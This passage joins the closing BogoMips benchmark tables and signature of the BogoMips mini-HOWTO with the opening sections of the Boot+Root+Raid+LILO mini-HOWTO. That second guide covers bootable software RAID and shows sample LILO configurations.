
   System                BogoMips  Reporter
   PowerPC 601    Mac       33.28  David Wetzel <dave@turbocat.de>
   PowerPC 601/60 Mac6100   45.24  J.L. Brothers <brothers@halcyon.com>
   PowerPC 601/66 Mac       51.62  Fred Klein <klein@des3.u-strasbg.fr>
   PowerPC 601/60 Mac6100   59.38  Kent Radek <goo@itd.sterling.com>
   PowerPC 601/75 Mac7200   73.93  Dimitris Tsifakis <jimmy@typhoeus.dg.uoa.gr>
   PowerPC 601/90 Mac7200   89.00  Heinrich H. Beck <thebigduck@earthlink.net>
   PowerPC 601/90 Mac7200   89.50  Ian <ian@neath.org>
   PowerPC 601/100 Mac7500  98.91  Russ Hoffman <reh@fore.com>
   PowerPC 601/110 Mac8100 108     Charles Eicher <ceicher@inav.net>
   PowerPC 601/120 Mac8200 119.19  Roberto Waha <roberto.waha@rcm.dsi.unimi.it>

   PowerPC 603/300 SM5000   57.00  Brian J. Landsberger <brian@landsberger.com>
   PowerPC 603/100          66.56  A. Costa <c_chaos@chaosnet.wahnapitae.on.ca>
   PowerPC 603/200 PSII    133.12  Richard Heurtley <richard@heurtley.com>
   PowerPC 603ev/250       166.29  Stig Sørensen <stig@aub.dk>

   PowerPC 604/100 PPS6050  99.74  Evaldas Darcianovas <evaldas@isi.kvm.lt>
   PowerPC 604/100         199     Hamish Marson <hamish@aixrules.nz.ibm.com>
   PowerPC 604/100 PPS7248 199.48  Evaldas Darcianovas <evaldas@isi.kvm.lt>
   PowerPC 604     Mac8500 239.21  Steve <sjs132@psu.edu>
   PowerPC 604/120 Mac8500 239.20  Jason Colflesh <jason.colflesh@sap.com>
   PowerPC 604/120 Mac8500 239.21  Jason Colflesh <jason.colflesh@sap.com>
   PowerPC 604/132 Mac9500 263.78  Matt Templeton <cybear@pacbell.net>
   PowerPC 604/132 Mac7500 263.78  Patrick Murmann <murmann@mi.uni-erlangen.de>
   PowerPC 604/133 MOT PS  266.24  Christoper Harrel <cnh@eng.mindspring.net>
   PowerPC 604/150 Mac9500 297.73  Jean-Philippe Lord <jpl@binex.com>
   PowerPC 604e/195        359.63  Michael Potts <pottsjam@flyernet.udayton.edu>
   PowerPC 604/200 Mac8600 320     Julien Sebot <sebot@lri.fr>
   PowerPC 604/180 SM900   367.82  J.E. Cook <jcojones@mail.athen1.ga.home.com>
   PowerPC 604e/375 RS6000 373.56  Darrick Wong <djwong@thibs.menloschool.org>
   PowerPC 604e/200 SM4000 399.12  Roland Kuhn <kuhn@physik.uni-kassel.de>
   PowerPC 604e/200        399.76  Alan Galloway <alan@alangalloway.com>

   PowerPC 750             465.30  Scot Richardson <scotrich99@hotmail.com>
   PowerPC 750/266 Mac     532.48  Fritz Anderson <fritza@tezcat.com>
   PowerPC 750/195 Mac G3  583.27  <gustilo@mail.med.upenn.edu>
   PowerPC 750/292 Mac     586.38  John McAulay <johnmcaulay@ndirect.co.uk>
   PowerPC 750/300 iBook   589     M. van Steensel <mvanstee@baserv.uci.kun.nl>
   PowerPC G4 350 Mac 400  697.96  Guillame Blain <blaingu@iro.umontreal.ca>
   PowerPC G3/350          697.96  Juergen Fricke <jofry@web.de>
   PowerPC 750/366 G3      732.36  Mike Hopkins <mhopkins@netmatters.co.uk>
   PowerPC G4 Mac8500      796.26  Alain Birtz <abz@videotron.ca>
   PowerPC 750/400 Mac     796.26  William F. Adams <willadams@aol.com>
   PowerPC 750/400 iMac DV 797.90  Daniel Koerner <wum42@netscape.net>
   PowerPC G4              797.90  P. Radermecker <pradermecker@iquibec.com>
   PowerPC 750/400 G3      801.18  Richard Petty <repetty@austin.rr.com>
   PowerPC 750/400 G3      801.18  Brian Kendig <brian@enchanter.net>
   PowerPC 750/400 G3      801.67  Schmitz <schmitz@biophys.uni-duesseldorf.de>
   PowerPC G4/500          992.87  K. Gustilo <gustilo@mail.med.upenn.edu>
   PowerPC G4/500          996.64  Heinz Nabielek <h.nabielek@fz-juelich.de>
   PowerPC G4/500          999.42  Stephen D. Scotti <sdscotti@earthlink.net>

3.14 Other CPU systems: Mips, Intel 8088/286 ELKS, IBM, Crusoe

   System                BogoMips  Reporter
   Mips R3000A/20           19.79  Kagstrom <simon.kagstrom.864@student.lu.se>
   Mips R4000/100           48.30  J.L. Brothers <brothers@halcyon.com>
   Mips R4000/100 Magnum    50.03  Andreas Busse <andy@soft-n-hard.de>
   Mips R4400/134 Acer Pica 67.10  Andreas Busse <andy@soft-n-hard.de>
   Mips R4400/134 Acer Pica 67.10  Ralf Baechle <ralf@waldorf-gmbh.de>
   Mips R4600/133 Tyne     133.12  Ralf Baechle <ralf@waldorf-gmbh.de>
   Mips R4600/133 RM200    133.08  Ralf Baechle <ralf@julia.de>
   Mips R5000/150 Indy     154.83  Ralf Baechle <ralf@julie.de>

   ELKS Intel 8088/4.77      0.02  Tim Van der Linden <timvdl@innet.be>
   ELKS Intel 8088/10        0.05  Tim Van der Linden <timvdl@innet.be>
   ELKS Intel 8086           0.5   Kin Lau <gabe@zot.io.org>
   ELKS Intel 286 Tandy      0.75  Joey Hess <joey@kite.ml.org>
   ELKS Intel 286 Nec V20/16 0.88  Vasilhs Ventirozos <r00t666@hotmail.com>
   ELKS Intel 286            0.99  Anders Stenback <stenback@hehe.com>
   ELKS Intel 286/8 VAXMate  1.03  Andrew Costa <c_chaos@wahnapitae.on.ca>
   ELKS Intel 286/10 Comm.   1.30  Hans-Joachim Baader <hans@grumber.inka.de>
   ELKS Intel 286 PS2        2.32  Morillas C.H. Antonio <morilla@fie.us.es>
   ELKS Intel 286 PS2        2.34  Joey Hess <joey@kite.ml.org>

   IBM S390 Gen4            75.16  J Scott <mrbinary@yahoo.com>

   Crusoe/400              725.81  Bill Rhodes <wrhodes@27.org>
   Crusoe                 1182.92  Michael Heiming <mh@vbag.de>

3.15 Multi-CPU systems

   System                BogoMips  Reporter
   SMP2 Pentium/75          59.50  Michael Engel <engel@unix-ag.uni-siegen.de>
   SMP2 Pentium/90          71.68  Edwin Whitelaw <elw@ivc.com>
   SMP2 Pentium/90          71.98  Daniel Luhde-Thompson <dl10010@cam.ac.uk>
   SMP2 Pentium/90          72.08  Alan Cox <alan@cymru.net>
   SMP2 Pentium/100         79.46  Lam Dang <dangit@ix.netcom.com>
   SMP2 Sparc 630MP         79.66  Daniel Aubry <daniel.aubry@unibas.ch>
   SMP2 Pentium/100         80.08  Christian Tan <pigeon@xs4all.nl>
   SMP2 Pentium/100         80.08  McNalley <jmcnalle@attila.stevens-tech.edu>
   SMP2 Pentium/120         95.85  Maurice de Bijl <maurice.d.bijl@topic.nl>
   SMP2 Sparc SS/50         99.84  Dimitris Tsifakis <sv1det@freemail.gr>
   SMP2 Pentium/133        106.09  Maurice de Bijl <maurice.d.bijl@topic.nl>
   SMP2 Pentium/166        133.53  <Reinhard.Simkovics@jk.uni-linz.ac.at>
   SMP2 Pentium/200        158.72  Ed Hoppitt <edward@dcs.rhbnc.ac.uk>
   SMP2 Pentium/200        158.92  Zeus <heyzeus@@verios.net>
   SMP2 Pentium Pro/150    299.00  Steven Gallo <smgallo@numenor.csgeeks.org>
   SMP2 Pentium Pro/150    299.01  Eric van Dijken <E.vanDijken@PTT-Telecom.nl>
   SMP2 Pentium Pro/166    331.78  Eric van Dijken <E.vanDijken@PTT-Telecom.nl>
   SMP2 Pentium Pro/180    358.81  Eric van Dijken <E.vanDijken@PTT-Telecom.nl>
   SMP2 Pentium Pro/180    358.81  Frankie East <fae2401@rit.edu>
   SMP2 Pentium Pro/180    358.81  James K. Wiggs <wiggs@wolfenet.com>
   SMP2 Pentium Pro/200    396.25  Will Shaw <shaww@dialup.dstm.com>
   SMP2 Pentium Pro/200    397.32  Abhijit Menon-Sen <ams@wiw.org>
   SMP2 Pentium Pro/200    398.13  David Konerding <dek@cgl.ucsf.edu>
   SMP2 Pentium Pro/200    398.13  B. Heinen <benedikt.heinen@infrasys.ascom.ch>
   SMP2 Pentium Pro/200    398.13  Ramon Huerta <huerta@minerva.ii.uam.es>
   SMP2 Pentium Pro/200    398.14  C.-A. Possamai <camille@sugiton.cnrs-mrs.fr>
   SMP2 Pentium Pro/200    398.14  Leland <llucius@millcom.com>
   SMP2 Pentium Pro/200    398.14  John Lellis <lellis@dmccorp.com>
   SMP2 Pentium Pro/200    398.14  Jim Gifford <jim@mail.rath.peachnet.edu>
   SMP2 Pentium Pro/200    398.14  Manuel Galan <root@ulpgc.es>
   SMP2 Pentium Pro/200    398.6   Bill Davidsen <davidsen@tmr.com>
   SMP2 Pentium Pro/200    398.95  Fons Rademakers <f.rademakers@cern.ch>
   SMP2 Pentium Pro/200    398.98  Greg Fausak <glfausak@august.com>
   SMP2 Pentium Pro/200    400.18  Attila Karpati <karpati@cs.elte.hu>
   SMP2 Pentium Pro/233    464.49  F. Baitinger <baiti@zenon.toplink.net>
   SMP2 Pentium II/233     466.94  Eli Kane <eli@crl.nmsu.edu>
   SMP2 Pentium II/266     530.84  Shon Martin <cshoon@oberlin.edu>
   SMP2 Pentium II/266     534.12  n.n. <service@cprompt.sk.ca>
   SMP2 Pentium II/266     534.12  Emmanuel Tychon <manu@acm.org>
   SMP2 Pentium II/266     531.66  Stefaan A. Eeckels <stefaan.eeckels@ecc.lu>
   SMP2 Pentium II/274     546.41  Richard Jellinek <rj@suse.de>
   SMP2 21064A/275 AS2000  556.53  Jochen Gatternig <jochen@gatternig.com>
   SMP2 Pentium II/300     597.20  Paul Sheer <psheer@obsidian.co.za>
   SMP2 Pentium II/300     598.02  Hans Ameel <hans@pla.to>
   SMP2 Pentium II/300     599.66  Abhijit Menon-Sen <ams@wiw.org>
   SMP2 Pentium II/300     599.76  S. Curtarolo <auro@spiro.fisica.unpd.it>
   SMP2 Pentium II/333 ov  665.73  S. Curtarolo <auro@spiro.fisica.unpd.it>
   SMP2 Pentium II/333     665.20  D.A. Sergatskov <dima@cholla.phys.unm.edu>
   SMP2 Pentium II/350     697.14  Riley <rhw@bigfoot.com>
   SMP2 Pentium II/350     700.42  David Overeem <overeem.1@osu.edu>
   SMP2 Pentium II/350     700.42  Mathijs <matthijs@helena.tux.nu>
   SMP2 Pentium II/350     700.42  Joe Gray <jgray_111@yahoo.com>
*  SMP2 Pentium Pro/200    792.48  Eric P. McCoy <emccoy@hamilton.edu>
*  SMP2 Pentium Pro/200    793.80  Eric P. McCoy <ctr2sprt@yahoo.com>
   SMP2 Pentium MMX/200    794.62  Kristian Koehntopp <kris@koehntopp.de>
   SMP2 Pentium MMX/200    796.26  Eric Clark <eclark@opencominc.com>
   SMP2 Pentium II/400     796.26  Michael Necaise <necaise@jlab.org>
   SMP2 Celeron/400        796.26  Stuart Hall <stuarthall@mailandnews.com>
   SMP2 Celeron/400        798.21  Stefan Onderka <nop@gameart.com>
   SMP2 Pentium II/400     797.08  Mogens Kjaer <mk@crc.dk>
   SMP2 Pentium II/400     800.20  Simon van Sleuwen <sleuwen@hotmail.com>
   SMP2 Pentium II/400     800.36  Gloger <joachim.j.gloger@daimlerchrysler.com>
   SMP2 Pentium II/400     800.36  Marcel Lanz <marcel.lanz@ds9.ch>
   SMP2 Pentium II/400     800.36  Frank <frank@sazza.ping.de>
   SMP2 Pentium II/400     800.47  Jung Pyo Hong <hongjungpyo@my-deja.com>
   SMP2 Pentium II/448 ov  894.57  Rob Leach <dslfreak@pacbell.net>
   SMP2 Celeron/450        894.57  Stephan Eisler <stephan@lingo.gun.sub.org>
   SMP2 Pentium III/450    899.48  Ramses Smeyers <fatman@khk.org>
   SMP2 Pentium III/450    899.48  Roland Exler <r.exler@jk.uni-linz.ac.at>
   SMP2 Pentium II/450     901.12  Abhijit Menon-Sen <ams@wiw.org>
   SMP2 Pentium II/466     925.70  A. Giachino <a.giachine@ekkinc.com>
   SMP2 Pentium MMX/233    927.33  Jeff White <jwhite@ghq.com>
   SMP2 Pentium III/500    996.14  Ola Samuelson <ola@datalink.se>
   SMP2 Pentium III/500    996.15  Rob Green <mooncrow@lava.net>
   SMP2 Celeron/500        999.42  Ingimar Rovertsson <iar@skyrr.is>
   SMP2 Celeron/500        999.42  Rob Farrell <rpf@speakeasy.net>
   SMP2 Pentium III/500    999.42  Douglas Osborn <daozb@earthlink.net>
   SMP2 Pentium III/500    999.42  Greg M. Hebel <gregh@twcny.rr.com>
   SMP2 Celeron/515 overc 1028.92  Ryan Werber <rwerber@ctel.net>
*  SMP2 Pentium II/266    1066.59  Jacques Rodary <jrodary@free.fr>
   SMP2 Celeron/550 overc 1101.00  Olof Zachrisson <eraolza@ks.ericsson.se>
   SMP2 Celeron/550 overc 1101.00  John Katagawa <dhc@50k.com>
   SMP2 Celeron/550 overc 1101.00  Mattias Moberg <mattias.moberg@home.se>
   SMP2 Celeron/550 overc 1101.00  Kieffer <Jerome.KIEFFER@crans.ens-cachan.fr>
   SMP2 Celeron/550 overc 1101.00  C. Shenefiel <chris.shenefiel@bigfoot.com>
   SMP2 Pentium III/550   1101.00  Jean-David Beyer <jdbeyer@exit109.com>
   SMP2 Pentium III/560   1117.39  Nathan Laredo <laredo@gnu.org>
   SMP2 Celeron/563 overc 1120.00  Cecchinel Stephan <inter.zone@free.fr>
   SMP2 Celeron/606 overc 1207.50  Mattias Moberg <mattias.moberg@home.se>
   SMP2 Pentium III/650   1300.88  Dan Kegel <dank@alumni.caltech.edu>
   SMP2 Itanium/800       1593.82 Cipriano Groenendal <cipri@exlinux.nl>
*  SMP2 Pentium II/450    1789.13  Steve Snyder <swsnyder@home.com>
*  SMP2 Pentium III/450   1789.13  J Snowdon <john@snowdon36.freeserver.co.uk>
   SMP2 PowerPC 7400/450  1789.63  Jake Goulding <shepmaster@home.com>
*  SMP2 Celeron/500       1998.84  Rob Farrell <rpf@comcast.net>
*  SMP2 Pentium III/550   2202.00  <ekk@ekkinc.com>
*  SMP2 Pentium III/560   2238.05  David Yeung <dyeung@ust.hk>
*  SMP2 Pentium III/600   2401.89  Shawn Hicks <shicks@impulse.net>
*  SMP2 Pentium III/600   2401.89  John Wiggins <jwiggins@csce.uark.edu>
*  SMP2 Pentium III/750   2992.90  George Hauser <hausergj@pop.nwnexus.com>
*  SMP2 Pentium III/750   3001.55  Jesse Tie Ten Quee <tie@mountlinux.com>
*  SMP2 Pentium III/800   3188.33  Steve Bradtke <sjbradtke@home.com>
*  SMP2 Pentium III/800   3201.43  Paul Skinner <skin@skin.dhs.org>
*  SMP2 Pentium III/810   3234.20  Pietro Abate <abate@students.cs.unibo.it>
   SMP2 EV67/833 UP2000   3324.17  Rob Harley <robert.harley@inria.fr>
*  SMP2 Pentium III/850   3407.86  Michael Cohen <me@ohdarn.net>
*  SMP2 Pentium III/866   3466.85  Tommy Johansen <tommy.johansen@idemitsu.no>
*  SMP2 Pentium III/933   3742.10  Justin Baugh < baughj@cs.rpi.edu>
*  SMP2 Pentium III/1000  3991.14  Guy Tel-Zur <tel-zur@computer.org>
*  SMP2 Pentium III/1000  4004.25  Birko Bergt <byrko.bergt@syntegra.com>
*  SMP2 Pentium III/1133  4508.86  Umaid Rajpurohit <sunadm@rediffmail.com>
*  SMP2 Pentium III/1266  5052.81  Sandy Harris <sandy@storm.ca>
*  SMP2 Athlon/1400       5590.22  Paul Skinner <skin@skin.dhs.org>
*  SMP2 Athlon/1400       5590.22  Matthew Anderson <matt@alameda-systems.com>
*  SMP2 Athlon/1400       5590.22  Pierre Vignéras <vigneras@labri.fr>
*  SMP2 Athlon/1600       6442.18  Rick H. Wesson <wessorh@ar.com>

   SMP4 Pentium Pro/133    532.07  Erik Walthinsen <omega@sequent.com>
   SMP4 Pentium Pro/200    794.62  Kenneth Hedlund <c415khd@nll.se>
   SMP4 Pentium Pro/200    796.28  John Pelan <j.pelan@am.qub.ac.uk>
*  SMP4 Pentium/133       1064.14  Arthur Aldridge <monark@aracnet.com>
   SMP4 Pentium III/450   1794.00  Glenn Stone <glenns@ami.com>
   SMP4 Pentium III/550   2195.46  Yan P. Yuan <Yanping.Yuan@EMBL-Heidelberg.de>

   SMP6 SunUltraII/336    4030.46  Daniel James <astac@swbell.net>
   SMP8 Pentium III/500   3996.06  Richard Langis <rlangis@primux.geekfest.net>
   SMP14 SparcII          6927.16  Vassili Tchersky <vt@bsdjeunz.org>
   SMP31 EV67/731 Wildf. 46170.90  Peter Rival <frival@zk3.dec.com>
   Beowulf102 PIII/1000 203862.30  Dan Kirkpatrick <dkirk@physics.syr.edu>
   Myrinet144 PII/400    57684.96  <zumbusch@iam.uni-bonn.de>

3.16 Non-Linux systems (reference only)

   System                      OS      BogoMips Reporter
   Casio 9850g calculator      Casio  0.000027  <littlemanthegeek@hotmail.com>
   Commodore 64                VICE     0.0033  <bdwheele@indiana.edu>
   Z80 TRS80 model 4           TRSDOS    0.004  <cervasio@airmail.net>
   Z80/4.6 NC100               ZCN       0.013  <rus@forfree.at>
   68000/8 Macintosh Classic   MacOS      0.53  <jimmy@typhoeus.dg.uoa.gr>
   68020/20 Sun 3              SUNOS      2.0   <korpela@ssl.berkeley.edu>
   68EZ328/20 Palm Vx          PalmOS     2.53  <dv5a@dc.uba.ar>
   Microvax 3100-30            NetBSD     2.74  <goodman@goodman.hu>
   68020/16 Macintosh LC       MacOS      3.09  <jimmy@typhoeus.dg.uoa.gr>
   68020/25 Sun 3-180          SUNOS      4.0   <korpela@ssl.berkeley.edu>
   Sparc Sun 3-60              SUNOS      4.00  <tranter@software.mitel.com>
   Sparc Sun 3-80              SUNOS      4.00  <tranter@software.mitel.com>
   Vaxstation 3100 M38         VAXVMS     4.66  <bdwheele@indiana.edu>
   68030/25 Macintosh IIci     NetBSD     5.62  <kirk-corey@uiowa.edu>
   68040/25 Macintosh LC475    MacOS     12.27  <jimmy@typhoeus.dg.uoa.gr>
   68040/33 HP9000-280         HP-UX     14     <niles@axp745.gsfc.nasa.gov>
   68040/25 Apollo 5500        DomainOS  14.00  <kirk-corey@uiowa.edu>
   Sparc Sun 4-280/20          SUNOS     16.0   <korpela@ssl.berkeley.edu>
   Sparc Sun IPC/40            Solaris   16.00  <gong@cs.msu.su>
   68040/25 HP9000-425         DomainOS  16.00  <kirk-corey@uiowa.edu>
   68040 NextStep              (?)       16.26  <petergun@coffeehaus.com>
   Sparc Sun SS1               SUNOS     18.00  <tranter@software.mitel.com>
   Sparc Sun SS1               SUNOS     18.00  <jimmy@typhoeus.dg.uoa.gr>
   IBM RS6000 320              AIX       18.00  <mg@svtpc3.fb12.tu-berlin.de>
   Sparc Sun SS1+              SUNOS     19     <swmike@uplift.df.lth.se>
   Sparc Sun SS1+              SUNOS     24.00  <tranter@software.mitel.com>
   Sparc Sun IPC               SUNOS     24.00  <tranter@software.mitel.com>
   IBM RS6000 320H             AIX       24.00  <mg@svtpc3.fb12.tu-berlin.de>
   Sparc Sun Sparcstation2     SUNOS     26.00  <gong@cs.msu.su>
   SparcClassic/50             Solaris   32.00  <gong@cs.msu.su>
   Sparc Sun ELC               SUNOS     32.00  <tranter@software.mitel.com>
   HP-PA 9000-720              HP-UX     32.00  <metod.kozelj@rzs-hm.si>
   Sparc Sun SS10              SUNOS     34.00  <tranter@software.mitel.com>
   Sparc Sun SS10              SUNOS     34.00  <makler@man.torun.pl>
   Pentium/100                 Win-NT    36.21  <marcus@healthchex.com>
   Sparc Sun Sparcstation2     SUNOS     38.0   <korpela@ssl.berkeley.edu>
   Mips R4000/100 Indy         (?)       48.00  <p.verwer@organon.akzonobel.nl>
   Mips R4000/100 SGI IndySC   Irix      48.00  <lziegler@csbsju.edu>
   HP-PA 9000-720              HP-UX     48.00  <metod.kozelj@rzs-hm.si>
   Sparc SS10                  SUNOS     48.00  <makler@man.torun.pl>
   IBM RS-6000-250/66          AIX       52.00  <gl23@e4.hrz.uni-giessen.de>
   Sparc Sun Sparcstation10d   SUNOS     54.0   <korpela@ssl.berkeley.edu>
   Sparc SS1000 2CPU           SUNOS     58.00  <gong@cs.msu.su>
   Sparc SS20                  SUNOS     60.00  <makler@man.torun.pl>
   IBM RS6000-250/80           AIX       62.00  <gl23@e4.hrz.uni-giessen.de>
   Alpha 21064/133 Decstation  OSF1      64     <niles@axp745.gsfc.nasa.gov>
   Alpha 21064/133 Dec3000     OSF1      66.00  <daniels@helplaxp1.harvard.edu>
   Sparc Sun SS5               SUNOS     68.00  <tranter@software.mitel.com>
   Sparc Sun SS20              SUNOS     72.00  <tranter@software.mitel.com>
   Sparc Sun SS20/712          Solaris   74     <spohr@qmos.com>
   Mips R4400/150 Challenge    (?)       74.00  <p.verwer@organon.akzonobel.nl>
   Mips R4400/150 Indigo2Extr  (?)       74.00  <p.verwer@organon.akzonobel.nl>
   HP-PA 9000-715              HP-UX     74.00  <metod.kozelj@rzs-hm.si>
   Sparc SS5 sun4m             SUNOS     84.00  <chrisv@allegria.com>
   Sparc SS1000E               SUNOS     84.00  <makler@man.torun.pl>
   Alpha                       OSF1      92.00  <petergun@coffeehaus.com>
   Mips R4400/200 Indigo2Extr  (?)       98.00  <p.verwer@organon.akzonobel.nl>
   HP-PA 9000-735/99           HP-UX     98.00  <lankhors@cs.rug.nl>
   Sparc SS5                   SUNOS    104.00  <makler@man.torun.pl>
   Sparc Sun SS4/110           Solaris  108     <spohr@qmos>
   Sparc Sun SS4               Solaris  108.00  <jimmy@typhoeus.dg.uoa.gr>
   Sparc Sun SS5               SUNOS    110     <swmike@uplift.df.lth.se>
   Alpha 21064A/233            OSF1     114     <niles@axp745.gsfc.nasa.gov>
   Alpha 3000 21064/300        OSF1     120.00  <gl23@e4.hrz.uni-giessen.de>
   HP-PA 700/125               HP-UX    122     <niles@axp745.gsfc.nasa.gov>
   HP-PA 9000-735/125          HP-UX    122.00  <lankhors@cs.rug.nl>
   Mips R4600/133 SGI Indy     Irix     132     <lziegler@csbsju.edu>
   MIPS R5000/150              Irix     148.00  <nachiket@indimax.hydroqual.com>
   IBM 6x86                    OS/2     149.13  <mikedg@ghostbbs.pandora.it>
   Alpha                       OSF1     180.0   <mauger@ensinfo.univ-nantes.fr>
   MIPS R10000/195             Irix     194.00  <nachiket@indimax.hydroqual.com>
   Alpha 21164/333 AS500       OSF1     222.00  <daniels@helplaxp1.harvard.edu>
   Sparc Ultra-1 sun4u         Solaris  254.00  <alternat@rwth-aachen.de>
   PPC604/133 IBM RS6000       AIX      254.00  <kirk-corey@uiowa.edu>
   IBM RS-6000 43P powerpc     AIX      260.00  <gl23@e4.hrz.uni-giessen.de>
   Sparc U-1 sun4u             SunOS    284.00  <gl23@e4.hrz.uni-giessen.de>
   Alpha 21164/433 DPW433au    OSF1     286.00  <daniels@helplaxp1.harvard.edu>
   HP9000-C160/160             HP-UX    316.00  <nicolai@prz.tu-berlin.de>
   Sparc Sun US1/170           Solaris  330     <spohr@qmos>
   Sparc Sun US1/167           Solaris  330     <jimmy@typhoeus.dg.uoa.gr>
   Sparc Ultra-1 sun4u         SUNOS    334.00  <chrisv@allegria.com>
   Alpha 3000-600S             VMS      348.61  <metod.kozelj@rzs-hm.si>
   Alpha server 1000-4/200     VMS      397.68  <metod.kozelj@rzs-hm.si>
   Sparc Sun-Ultra30/248       Solaris  482.00  <marc.Quinton@stna.dgac.fr>
   Pentium II/350              Win2000  573.00  <benjy@kateandbenjy.com>
   Sparc US2/296 2cpu          SUNOS    596.00  <manu@acm.org>
   Cray J90 Y-MP/100 16cpu     Unicos   912.00  <lankhors@cs.rug.nl>
   Sequent Symmetry 6xP5/166   Dynix    984.00  <omega@sequent.com>
   Sequent Symmetry 16xP5/66   Dynix   1056.00  <omega@sequent.com>
   HP9000-C160/160             HP-UX   1278.00  <nicolai@prz.tu-berlin.de>
   Sequent NUMA-Q 12x P6/180   Dynix   1416.00  <omega@sequent.com>
   Pentium III/800             Win NT  2267.00  <benjy@kateandbenjy.com>
   Sequent NUMA-Q 32x P6/180   Dynix   3776.00  <omega@sequent.com>


BogoMips mini-Howto: Signature

 Next Previous Contents

4. Signature

This paragraph has presented the continuing story of our (now) three children Roderick, Isolde and Daphne for the life time of this BogoMips mini-Howto, neigh on ten years. Over all those years this has led to some very interesting e-mail exchanges, and it is those contacts that I herewith explicitly want to thank.

Met vriendelijke groeten, Wim 'Dad' van Dorst.

------------------------------------------------------------------------
Wim van Dorst, Clifton Scientific Text Services, tel/fax +31 355 242 319
                   This sentence have three erors


Boot + Root + Raid + Lilo : Software Raid mini-HOWTO

Michael Robinton, Michael@BizSystems.com

v1.04, July 20, 2000

This document provides a cookbook for setting up root raid using the 0.90 raidtools for bootable raid mounted on root using standard LILO. Also covered is the conversion of a conventional disk to a raid1 or raid5 mirror set without the loss of data on the original disk.

1. Introduction

  • 1.1 Acknowledgements
  • 1.2 Bugs
  • 1.3 Copyright Notice

2. What you need BEFORE YOU START

  • 2.1 Required Packages
  • 2.2 Where to get Up-to-date copies of this document.
  • 2.3 Documentation -- Recommended Reading
  • 2.4 RAID resources

3. Bootable Raid

  • 3.1 Booting RAID 1 with standard LILO
  • 3.2 Detailed explaination of lilo.conf for raid boot

4. Upgrading from non-raid to RAID1/4/5

  • 4.1 Step 1 - prepare a new kernel
  • 4.2 Step 2 - set up raidtab for your new raid.
  • 4.3 Create, format, and configure RAID
  • 4.4 Copy the current OS to the new raid device
  • 4.5 Test your new RAID
  • 4.6 Integrate old disk into raid array

5. Appendix A. - example raidtab

6. Appendix B. - SCSI reference implementation RAID5

7. Appendix C. - ide RAID10 with initrd

8. Appendix D. - ide RAID1-10 with initrd


Boot + Root + Raid + Lilo : Software Raid mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Acknowledgements

The essence of the information I've put together here was originally provided by Harald Nordgård-Hansen < hnh@bukharin.hiof.no > and posted to the raid mail list in a lilo.conf file with commentary by Martin Bene < mb@sime.com >. Many thanks for your contribution. I've tried to put this information and the helpful work of many others who contribute to the raid mail list and linux raid project into a COOKBOOK form, including many examples from real systems so that bootable root raid is easy to set up and understand. One section is devoted to the conversion of a standard single drive system to RAID. The key to the conversion, in my humble opinion, is the understanding of bootable root raid.

1.2 Bugs

Yes, I'm sure there are some. If you'd be good enough to report them, I will correct the document. ;-)

1.3 Copyright Notice

This document is GNU copyleft by Michael Robinton Michael@BizSystems.com.

Permission to use, copy, distribute this document for any purpose is hereby granted, provided that the author's / editor's name and this notice appear in all copies and/or supporting documents; and that an unmodified version of this document is made freely available. This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY, either expressed or implied. While every effort has been taken to ensure the accuracy of the information documented herein, the author / editor / maintainer assumes NO RESPONSIBILITY for any errors, or for any damages, direct or consequential, as a result of the use of the information documented herein.


Boot + Root + Raid + Lilo : Software Raid mini-HOWTO: What you need BEFORE YOU START

 Next Previous Contents

2. What you need BEFORE YOU START

The packages you need and the documentation that answers the most common questions about setting up and running raid are listed below. Please review them throughly.

2.1 Required Packages

You need to obtain the most recent versions of these packages.

  • a linux kernel that supports raid, initrd
    I used linux-2.2.14 from kernel.org
  • ftp://ftp.kernel.org/pub/linux/daemons/raid/alpha/ the most recent tools and patch that adds support for modern raid1/4/5
    I used http://people.redhat.com/mingo/raid-patches/

2.2 Where to get Up-to-date copies of this document.

Click here to browse the author's latest version of this document. Corrections and suggestions welcome!

Boot Root Raid + LILO HOWTO

Available in LaTeX (for DVI and PostScript), plain text, and HTML.

http://www.linuxdoc.org/HOWTO/Boot+Root+Raid+LILO.html
Available in SGML and HTML.
ftp.bizsystems.net/pub/raid/

2.3 Documentation -- Recommended Reading

If you plan on using raid1/5 over raid0, please read:

/usr/src/linux/Documentation/initrd.txt

as well as the documentation and man pages that accompany the raidtools set.

and..... Software-RAID-HOWTO.html

2.4 RAID resources

Mailing lists can be joined at:

  • This one seems quiet: majordomo@nuclecu.unam.mx send a message to subscribe raiddev

    send mail to: raiddev@nuclecu.unam.mx

  • Raid development: majordomo@vger.rutgers.edu send a message to subscribe linux-raid

    send mail to: linux-raid@vger.rutgers.edu (this seems to be the most active list)


Boot + Root + Raid + Lilo : Software Raid mini-HOWTO: Bootable Raid

 Next Previous Contents

3. Bootable Raid

I'm not going to cover the fundamentals of setting up raid0/1/5 on Linux, that is covered in detail elsewhere. The problem I will address is setting up raid on root and making it bootable with standard LILO. The documentation that comes with the LILO sources (not the man pages) and with the raidtools-0.90, covers the details of booting and boot parameters as well as general raid setup - respectively.

There are two scenarios which are covered here. Set up of bootable root raid and the conversion of an existing non-raid system to bootable root raid without data loss.

3.1 Booting RAID 1 with standard LILO

To make the boot information redundant and easy to maintain, set up a small RAID1 and mount it on the /boot directory of your system disk. LILO does not know about device 0x9?? and can not find the information at boot time because the raid sub system is not active then. As a simple work around, you can pass LILO the geometry information of the drive(s) and from that, LILO can determine the position of the information needed to load the kernel even though it is on the RAID1 partition. This is because the RAID1 partition is the same as a standard partition but with a raid super-block written at the end. The boot raid set should fall with the first 1024 mbytes of the disk drive. In theory the start of the raid partition could fall anywhere in the 1024 megs, but in practice I was unable to get it to work unless the boot-raid started at the first block of the set. This is probably because of something dumb that I did, but it was not worth following up at the time. Since then I've simply set up all my systems with the boot-raid set as the first partition. I have root raid system configurations with bootable RAID1 mounted on /boot with root raid sets as follows: RAID1, RAID5, RAID10 & RAID1-10 ( 1 mirror + 1 raid0 set). The last has a very peculiar lilo file pair since none of the disk geometries are the same, however, the principals are the same for the initial boot process. The RAID10 and RAID1-10 root mounts require the use of initrd to mount root after the boot process has taken place. See the appendices for the configuration files for all of these example systems.

A conventional LILO config file stripped down looks like this:

# lilo.conf - assumes drive less than 1024
        boot = /dev/hda
        delay = 40               # extra, but nice
        vga = normal             # not normally needed
        image = /bzImage
        root = /dev/hda1
        read-only
        label = Linux

A raid LILO config file pair would look like this:

# lilo.conf.hda - primary ide master
        disk=/dev/md0
        bios=0x80
        sectors=63
        heads=16
        cylinders=39770
        partition=/dev/md1
        start=63
